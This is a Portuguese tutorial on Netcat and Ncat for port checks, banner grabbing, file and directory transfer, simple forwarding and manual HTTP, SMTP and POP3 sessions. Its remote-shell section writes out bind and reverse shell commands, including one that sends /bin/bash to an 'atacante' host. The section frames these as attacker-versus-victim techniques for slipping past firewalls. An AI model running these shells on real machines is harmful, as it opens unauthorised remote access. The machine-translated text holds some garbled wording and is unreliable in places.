Netcat (nc) e Ncat: guia prático com exemplos da vida real

Última atualização: 22/09/2025
autor: Isaac
  • Netcat e Ncat permitem testes rápidos de TCP/UDP, varredura leve e diálogo manual com serviços.
  • Com redirecionamentos e pipes, o nc pode ser usado para transferir arquivos, configurar chats e simular servidores.
  • Shells e proxies diretos/reversos são possíveis, mas exigem extrema segurança e controle.

Exemplos de uso do netcat

Se você já precisou de um canivete suíço para a web, provavelmente já ouviu falar dele Netcat (nc). Com alguns comandos Você pode abrir conexões, escutar portas, mover arquivos, espionar cabeçalhos de serviços e até simular clientes e servidores. Tudo, desde terminal e com uma curva de aprendizagem muito acessível, o que o torna um ferramenta essencial para administração e testes.

Ao seu lado aparece Ncat, a implementação moderna desenvolvida sob a égide do Nmap, que adiciona extras como SSL/TLS, proxies e opções avançadas. Embora pareçam semelhantes, não são idênticos: veremos o que os diferencia, como instalá-los e, principalmente, uma bateria de exemplos práticos (TCP e UDP, chat, transferência de arquivos, túneis, shells diretos e reversos e diálogos com protocolos comuns) para que você passe do zero ao útil em pouco tempo.

O que é Netcat e como ele é diferente do Ncat?

O básico: Netcat (nc) é um utilitário de linha de comando para ler e escrever dados na rede. Ele funciona com TCP e UDP, tanto em IPv4 quanto em IPv6, e pode atuar como cliente ou servidor em qualquer porta. Sua filosofia é simples: "faça uma coisa e faça bem", mas, combinado com redirecionamentos de shell, pipes e filtros, seu poder é multiplicado.

Ncat Ele surgiu como uma evolução moderna dentro do projeto Nmap para complementar e expandir a funcionalidade do veterano Netcat. Ele oferece funções muito práticas: Suporte SSL/TLS para criptografar conexões, capacidade de conexões de cadeia, suporte para Proxy SOCKS4/HTTP, encaminhamento de porta TCP/UDP/SCTP e opções como –somente envio. Embora os nomes sejam confusos, São programas diferentes e sua sintaxe pode variar em detalhes dependendo da distribuição.

Em ambos os casos, o campo de atuação é amplo: desde a verificação de portas abertas e o monitoramento de serviços até a configuração de um proxy simples ou um mini servidor web de teste. No entanto, algumas compilações desabilitam parâmetros como -e por segurança; é aconselhável verifique o homem do seu sistema.

Guia Netcat ncat

Instalação e manual em diferentes distribuições

Ele vem pré-instalado em muitas distribuições, mas se você precisar instalá-lo, é rápido. Debian / Ubuntu Você pode usar os pacotes netcat (ou variações como openbsd-netcat): sudo apt-get install netcatÉ uma maneira direta e muito fácil conveniente para começar.

Em ambientes RHEL, CentOS ou Fedora A instalação típica é com yum/dnf, por exemplo: yum -y install nc. Dependendo do repositório, o pacote pode ser chamado nc o nmap-ncat, então vale a pena procurá-lo com seu gerenciador de pacotes e confirmar qual variante está instalada.

En openSUSE e SUSE Linux Empreendimento É tão simples quanto com o YaST: yast -i netcat. Após a instalação, o manual estará disponível com man nc o man 1 netcat, e se você usar Ncat, confira a página deles para saber mais sobre seus extras e sinalizadores específicos.

Lembrar ncat pode vir com o Nmap e sua sintaxe adiciona seus próprios sinalizadores (por exemplo, para SSL ou proxies). Leia o manual de cada binário e evite confusões devido às diferenças de implementação entre NC e Ncat tradicionais.

Conexões simples: cliente e servidor, TCP/UDP e verificação de portas

A conexão como cliente é tão direta quanto especifique o host e a porta. Por exemplo, para falar com um serviço SMTP local na porta 25: nc 127.0.0.1 25Se houver um MTA em execução, você verá seu banner (algo como 220 ... ESMTP ...) e você pode digitar comandos SMTP manualmente. É uma maneira fantástica de inspecionar respostas em nível baixo.

Para escutar em uma porta e aceitar uma única conexão de entrada, use nc -l 22222. De outro terminal (ou máquina) conecte-se com nc 127.0.0.1 22222 e qualquer texto que você enviar aparecerá no outro lado. Essa técnica é frequentemente usada como bate-papo improvisado ou para depurar um aplicativo cliente-servidor.

  Como configurar um endereço IP estático no Debian, Arch, Ubuntu, openSUSE e Fedora

Se você quiser forçar UDP, Adicionar -u. Por exemplo, para verificar o SNMP em 161 / UDP Você pode abrir um ouvinte ou enviar datagramas com nc -u. Não se esqueça que o comportamento do UDP é diferente do TCP (não há sessão), então os testes e resultados serão ligeiramente diferente.

Para verificar rapidamente as portas, o modo “scan” do nc (dependendo da variante) é -z, e com -v obter resultados detalhados. Exemplos: nc -vz 127.0.0.1 20-25 retorna quais portas TCP respondem nesse intervalo. Para UDP: nc -vzu 127.0.0.1 21-80. Adicionar -n evita resolução de DNS e -w 1 define um tempo limite de 1 segundo, acelerando as verificações em ambientes com latência.

Escanear portas com nc

Modelo cliente-servidor e redirecionamentos de E/S

Um padrão clássico é o par servidor/cliente e o redirecionamento de fluxo. Servidor: nc -l 22222 > recibido.out para salvar o que chega em um arquivo. Cliente: nc 127.0.0.1 22222 < origen.in para enviar um arquivo. Essa troca é útil para testes e transferências únicas sem configurar serviços adicionais.

Você também pode conversar em texto livre: servidor com nc -l 1234 e cliente com nc host 1234. Tudo o que você escreve é ​​refletido no outro lado, o que é ótimo para protocolos de depuração ou verifique se um aplicativo recebe dados conforme o esperado.

Com Ncat, há bandeiras interessantes como --send-only, útil quando o remetente precisa fechar após terminar de enviar um arquivo, garantindo que o destinatário não fique esperando indefinidamente e melhorando a controle de sessão.

Se você precisar que o servidor atenda a vários clientes, no nc clássico você pode envolvê-lo em um loop de shell (por exemplo, para atender um arquivo repetidamente): while true; do nc -l 80 < index.html; done. Não é elegante nem seguro para produção, mas funciona muito bem como um mini-laboratório.

Usando UDP: Testes e nuances típicos

Para usar UDP, o sinalizador -u Alterar o modo de transporte. Ouvir em UDP (por exemplo, nc -ul 161) ou envia datagramas nc -u host 161. Use-o para validar se um serviço como SNMP responder ou verificar latência e perda de pacotes em cenários simples.

Ao escanear com UDP, os resultados podem ser enganosos: a ausência de um erro não garante que a porta esteja aberta; às vezes, você verá "succeeded" sem nenhum tráfego de aplicativo. Complemente esses testes com ferramentas específicas ou capturas de rede se você precisa de precisão.

Proxy e encaminhamento de porta

Uma receita útil é configurar um "pseudo-proxy" redirecionando o tráfego de uma porta para outra. Com o Ncat, você pode encadear conexões ou usar opções de redirecionamento nativas. No NC clássico, isso é feito com pipes e FIFOs: mkfifo backpipe e, em seguida, nc -l 1234 < backpipe | nc destino 5678 > backpipe. Desta forma você encaminha as entradas e saídas entre ambas as extremidades para um encaminhamento simples.

Exemplo conceitual de redirecionamento local: receber conexões na porta 80 e passá-las para outro host/porta. Em um NC simples, você poderia compor com pipes; com Ncat Você tem opções mais diretas e suporte para proxies (SOCKS/HTTP) e SSL, o que torna mais fácil saltos em cadeia e criptografar o canal.

Observe que um redirecionamento unidirecional não é suficiente para protocolos bidirecionais: ambas as vias devem ser tratadas. Soluções com FIFO ou com ferramentas como socat Eles resolvem esse canal duplo de uma forma mais robusta quando você precisa tráfego em ambas as direções.

Transferindo arquivos e diretórios

Para passar arquivos, o padrão básico é universal: no receptor nc -l -p 1234 > fichero.dest, no transmissor nc host 1234 < fichero.origen. Simples, direto e muito útil para migrações rápidas dentro de uma rede controlada.

  Como gerenciar suas senhas com segurança usando o Bitwarden

Diretórios? Empacote e organize. No remetente: tar czvf - carpeta/ | nc receptor 5555. No receptor: nc -l 5555 | tar xzvf -. Desta forma, um fluxo comprimido viaja e é descomprimido em tempo real, ideal para movimentação árvores de arquivos sem configurar um servidor intermediário.

Você também pode encadear utilitários: por exemplo, seguir um log em tempo real com tail -f e enviá-lo por nc: emissor tail -f /var/log/apache2/access.log | nc destino 1190, receptor nc -l 1190. É uma maneira prática de monitoramento de luz ponto a ponto.

Em ambientes Windows e Linux a mecânica é a mesma. O shell e os caminhos mudam, mas os operadores de redirecionamento < e > Eles funcionam da mesma forma no NC clássico; se você usar PowerShell, você pode adaptar o comando para manter o compatibilidade.

Shells remotos: Avançar e Recuar (com avisos de segurança)

O Netcat permite que você anexe um programa à conexão com -e. Por exemplo, no Linux: servidor com nc -lvp 1190 -e /bin/bash e um cliente se conecta com nc host 1190, obtendo um shell. No Windows: -e cmd.exe o -e powershell.exe. Isso concede acesso total ao sistema que expõe o serviço, portanto, use-o apenas em ambientes de laboratório.

Em uma conexão direta, a “vítima” escuta e o “atacante” conecta-se (por exemplo, o Windows escuta e o Kali conecta-se para receber um PowerShell). Em um conexão reversa, o invasor escuta e a vítima inicia a conexão de saída (por exemplo, nc atacante 1190 -e /bin/bash), com maior probabilidade de cruzar o firewall da vítima.

Lembre-se de que o tráfego da Carolina do Norte é Claramente; pode ser facilmente capturado. Existem variantes como “cryptcat” para criptografia, mas projetos mais antigos não são mantidos. Se você precisa de segurança real, considere o Ncat com SSL / TLS ou usar ferramentas projetadas para túneis criptografados.

Muitas construções modernas desabilitam -e por padrão. Verifique o homem e, se não estiver lá, procure alternativas (por exemplo, usando sh -i com redirecionamentos) ou confiar em ferramentas específicas. Não exponha shells em computadores de produção: é uma má prática.

HTTP manualmente: cliente e servidor improvisados

Como cliente, você pode abrir uma conexão na porta 80 e digitar uma solicitação bruta. Por exemplo: nc servidor 80 e, em seguida, GET / HTTP/1.1\r\nHost: servidor\r\n\r\nVocê verá os cabeçalhos e o corpo da resposta. Isso é útil para verificar Erros 4xx/5xx, redirecionamentos e cabeçalhos sem recorrer ao curl.

Para simular um servidor web básico em 8080: nc -l -p 8080, abra um navegador e visite http://localhost:8080/No terminal, você verá a solicitação HTTP; você pode colar uma resposta mínima com cabeçalhos e HTML. Como um servidor manual, é perfeito para entender o protocolo e depurar a troca.

Se você quiser automatizar, combine o loop: while true; do nc -l 80 < pagina.html; done. Forma rudimentar de servir sempre o mesmo arquivo, ideal para exibir páginas estáticas durante testes internos.

Ao testar em sites reais, lembre-se de que alguns CDNs ou WAFs respondem com 400 Bad Request Se a solicitação estiver incompleta ou sem cabeçalhos. Isso faz parte do valor nc: veja o que um servidor espera e como ele reage às variações.

SMTP e POP3: caixas de diálogo de exemplo

Com SMTP, conecte-se ao porta 25: nc mail.ejemplo.com 25. Comandos de teste: HELO clienteem seguida MAIL FROM: usuario@ejemplo.com, RCPT TO: usuario@ejemplo.com, DATA, escreva o assunto e o corpo e termine com um ponto final em uma linha solitaria. Fechar com QUIT. É uma maneira perfeita de inspecionar como seu MTA reconhece remetente e destinatário.

Para POP3 (porta 110): nc pop.ejemplo.com 110 e, em seguida, USER miusuario y PASS mipassword para autenticar (observação: está claro). Comandos úteis: STAT (estado), LIST (lista), RETR 1 (baixe o primeiro) e QUIT. Ideal para validar credenciais e verificar caixa de correio sem cliente gráfico.

  Como usar as tomadas de antena da sua casa para conectar a Internet via Ethernet

Esses exercícios mostram por que o nc é o “canivete suíço” da rede: você pode emular clientes reais e leia as respostas Como está, sem nenhuma camada intermediária. Para produção, use ferramentas mais seguras (TLS, autenticação forte), mas para aprendizado e depuração, não há nada melhor. transparente.

Técnicas de varredura de portas e captura de banners

Para uma varredura TCP rápida, use assim: nc -w 1 -vzn 10.0.0.11 21-80. Exibe portas abertas e, se conhecido, o serviço associado. Para UDP: nc -w 1 -vzu 10.0.0.11 21-80. Não é Nmap, mas como um ping de porta rápido é muito confortável.

El agarrar banners fornece a versão de serviços: nc 10.0.0.11 22 geralmente retorna algo como SSH-2.0-OpenSSH_...; nc 10.0.0.11 21 Ele fornece o banner FTP. Essas informações são valiosas para inventariar e verificar se um serviço responder e com qual versão.

Se preferir ver apenas as portas que “tiverem sucesso”, filtre a saída de erro padrão com 2>&1 | grep succeeded. Dessa forma, você cria um relatório rápido que destaca apenas o que você precisa. revisar.

Netstat como companheiro de viagem

Ao testar com nc, netstat ajuda você a ver o que está acontecendo na sua máquina: -a para tudo, -l para tomadas de escuta, -p para ver processos (raiz), -e para modo estendido; -t para TCP e -u para UDP. Use-o para listar quais portas estão abertas e confirmar se seu nc está realmente ouvir ou conectar onde você espera.

Um exercício de laboratório clássico: levantar nc escutando em uma porta > 1024, conectar de outro terminal ou máquina e então executar netstat para identificar a conexão, visualize o IP/porta local e remoto e o status. É educativo e esclarece como o modelo cliente-servidor.

Casos mistos em Linux e Windows

Os exemplos “Kali vs Windows” ilustram que o padrão se mantém: ouvir com -lvp e anexar uma concha com -e (PowerShell, cmd.exe ou /bin/bash). Altere quem escuta e quem se conecta conforme desejar. conexão direta ou um conexão reversa, levando em consideração que firewalls geralmente permitem saídas mais facilmente do que entradas.

Para transferências de arquivos, o endereço não importa: o lado remetente redireciona com < e aquele que recebe com >. Com diretórios, compacte (zip/tar) antes de enviar e descompacte ao receber. Em tempo real, envie um fluxo de log com tail e nc para uma porta de escuta: prático, leve e fácil de automatizar com scripts.

Lembre-se: tudo isso trafega em texto simples. Se a sensibilidade dos dados exigir, use Ncat com criptografia ou não use nc. tráfego sensívelEsta ferramenta se destaca em laboratórios, solução de problemas e ambientes controlados.

Desde verificar se "aquela porta" está realmente respondendo, até configurar um servidor improvisado, redirecionar tráfego entre portas, espionar banners, comunicar-se com SMTP/POP3 você mesmo ou mover um arquivo tar.gz de uma máquina para outra, o Netcat e o Ncat oferecem uma gama surpreendentemente ampla de possibilidades. Com algumas flags bem aprendidas (-l, -v, -z, -u, -w, -e) e brincando com redirecionamentos e pipes, você pode cobrir tarefas de diagnóstico, testes e automação leve sem instalar nada mais pesado.